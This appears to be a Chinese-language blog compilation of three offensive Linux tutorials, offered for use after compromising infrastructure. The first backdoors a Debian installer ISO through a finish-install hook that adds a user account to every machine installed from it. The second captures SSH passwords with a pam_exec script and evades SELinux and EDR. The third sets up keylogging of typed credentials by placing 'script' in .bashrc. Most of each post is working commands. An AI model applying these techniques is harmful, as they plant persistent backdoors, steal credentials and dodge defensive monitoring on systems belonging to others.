如何制作一个恶意linux安装镜像

前言

打下基础设施,比如vcenter/kvm或者什么云管平台后台,再或者比如控了个什么NAS。想要进行后续控制,新安装一台再手动控制一台肯定是不行的。有没有个办法感染了它们的ISO,后续它们新安装一台就中我们的马一次呢?

得益于linux的开源属性,我们当然能直接自己构建一个linux-installer,但是从零构建太花时间了,我们直接用一个快速的解决方案来对iso进行加料

操作

按照debian发行版为例,安装流程如下,安装程序实际运行的是目录下的install.amd里的initrd.gz镜像
1.png
其中,使用图形化脚本安装的是使用gtk文件夹下的initrd.gz,使用命令行则是用xen目录下,两个initrd.gz没有太大区别

我们仔细分析initrd.gz,发现是一个gz文件和一个cpio文件,打开能很轻松的看到文件目录

2.png

加料

首先先解压initrd.gz,直接

gunzip initrd.gz

我们就获得了initrd这个cpio文件
然后使用命令

cpio -idm -D target < initrd

解压到目录target文件夹。

之后我们进入文件夹,写入helloworld.txt

3.png

然后再反向操作进行打包,使用命令

find . | cpio -o -H newc > ../initrd
cd ..
gzip initrd

这样就得到回initrd.gz文件了,然后再使用ultraISO把debian安装脚本的gtk/xen中的initrd.gz文件替换

然后挂载启动我们的安装脚本,在图形界面按下ctrl+alt+F2进入tty,就能在文件系统里看到我们的helloworld.txt了

4.png

恶意负载

我们成功达成了修改安装程序,之后就是进行加料。通过分析发现,安装程序是把我们磁盘挂载到/target目录,然后进行写入基础系统的操作。我们只需要在安装程序结束之后,对/target目录下的文件系统写入我们的负载即可达成我们想要的目标

如何判断安装程序结束呢?好在查看文档之后我发现了它自带HOOK,查看官方文档

https://salsa.debian.org/installer-team/debian-installer/-/blob/master/doc/devel/internals/available-hooks.xml

/usr/lib/finish-install.d/* [finish-install]
此目录中的文件将在安装结束时执行。

因此我们直接在该目录添加我们的脚本

5.png

注意要小于95,因为95是umount卸载目标了,没办法写入。所以要在此之前就进行操作
6.png
当系统安装完成后,就可以看到我们的账户成功加入进去了

7.png

最后

成功做到了一个加用户的操作后,后续更多的玩法就不用说了,这个操作写入文件之后甚至不需要重启,因为默认就是第一次启动

轻松的达到了出厂就带后门的效果,简单的效果就是写rc启动项,复杂点就是写内核模块玩rootkit,再复杂点甚至上bootkit都可以。这些就看各位自己操作了。

Tags: linux, 后门, apt

PAM_EXEC 不用第三方应用和重启抓取ssh密码

前言

从老外那新学一招:https://www.youtube.com/watch?v=FQGu9jarCWY

开始

先说优点,系统自带不安装第三方应用,不用重启,和strace方法相比不会生成过大的文件,能自动清理自身不留痕迹,能远程发送

缺点:要临时关闭selinux

pam_exec.so是系统自带的详细自己查看文档就行,然后如果我们要记录密码呢,只需要在/etc/pam.d/sshd的第一行,加上

auth optional pam_exec.so quiet expose_authtok /tmp/sshd.sh

1.png

其中最后执行脚本的路径可以换,一定要放在第一行,有处理的优先级问题

然后在/tmp/sshd.sh里写上语句

#!/bin/sh

echo "$(date) $PAM_USER $(cat -) $PAM_RHOST $PAM_RUSER" >> /tmp/123.log

还要记住一定要设置所有用户得可执行权限!!! chmod 777 /tmp/sshd.sh或者chmod u+x /tmp/sshd.sh,不然也会执行失败
然后连接ssh到我们自己,就可以抓到密码辣

2.png

能写bash这下玩法就多了,比如curl/dns发送密码,抓到密码自动删除等等

当然这会有两个问题,一个是默认要关闭selinux,不然抓不到

问题一: selinux

当你修改完上面问题之后发现不生效,可以查看/var/log/secure

会发现如下内容
3.png

这时候需要执行setenforce 0临时关闭selinux才可以执行抓脚本的密码

如果担心被发现可以在上面脚本最后加上setenforce 1,抓到密码后恢复selinux状态

不过这样不太稳妥,可能会有EDR监控关闭selinux的行为,我们一关就告警。

还有一种方案就是修改selinux规则,在我们修改完规则之后,使用

audit2allow -a
audit2allow -a -M local
semodule -i local.pp

来修改selinux规则,但是有些发行版默认不带audit2allow,所以自行取舍

问题二:判断密码正确

默认这个方案是扫描所有密码然后储存,无法区分哪个是正确哪个是错误。

Ippsec的方法是,把auth optional pam_exec.so quiet expose_authtok /tmp/sshd.sh的expose_authtok约束删了,然后放在认证成功后面

这样子如果脚本接收到一个空字符的信号,就代表程序PAM已经走到密码已经通过验证的那个步骤,那么就代表上一次抓取的密码是正确的,这一步骤可能造成条件竞争?我不知道,但是它也是能工作的,所以从视频里可以看到ippsec用go代码实现了这个流程

要是换我的话可能会用另一个暴力方法实现,那就是直接读取/etc/shadow,用我们脚本手动验证一遍hash是否正确。当然这可能会有更大的延迟,但是也许不会有条件竞争,懒得写了,咕咕咕。用到再说吧

没了

Tags: linux, 后门

低权 Linux 键盘记录方案

前言

日了几台机器,虽说部分机器有ROOT,可以直接用之前的 一般路过PAM后门 / SSH密码记录,来替换PAM,用于记录密码。

然而问题是,这货上了LDAP,还自己改了改他们的PAM,所以直接替换PAM的方案行不通了。

而且有一个跳板机,我们没有低权限,但是当前用户却会用这台机器连接其他目标,使用的都是一些我们没找到的凭据。

那么有没有什么办法能搞到他们呢?

最开始预想的是用go,自己写一个,直接起个pty直接io.copy用户输入和bash,然后我们监听目标输入就行。

之后在群里大佬的提拔下。知道了还有script这个好东西。

直接一句

exec script -B /tmp -aqf

没有-B参数把-B参数删了其实也没差

photo_2021-12-14_21-37-37.jpg
经过测试,SSH输入的密码也能记录。简直就是linux自带后门

然后就是用户登录自动记录的问题了。一开始直接把这个放到.bashrc/.zshrc下的最后一行,发现并不能work。
了解了下才发现,这个语句会加载bashrc的脚本造成这行代码的递归调用。
说到底就是加载.bashrc,bashrc运行script,script加载bashrc,bashrc加载script这样循环....

解决方案也很简单。直接在最后一行换成

if [ -f /tmp/script.lock ];then
        rm /tmp/script.lock
else
        echo lock > /tmp/script.lock
        exec script -B /tmp/test -aqf
fi

这样就成啦

进阶

本来想着这个-B参数能不能用类似/dev/tcp这种文件符号直接发送到远端,这样我们只要开着个接收器别人的密码就来了更安全更隐蔽。
或者加一个远端连不上就自动删除.bashrc的这行类似代码。。然而实际上并不行。。。于是乎就靠各位大佬们解决啦。

Tags: linux, 键盘记录, 后门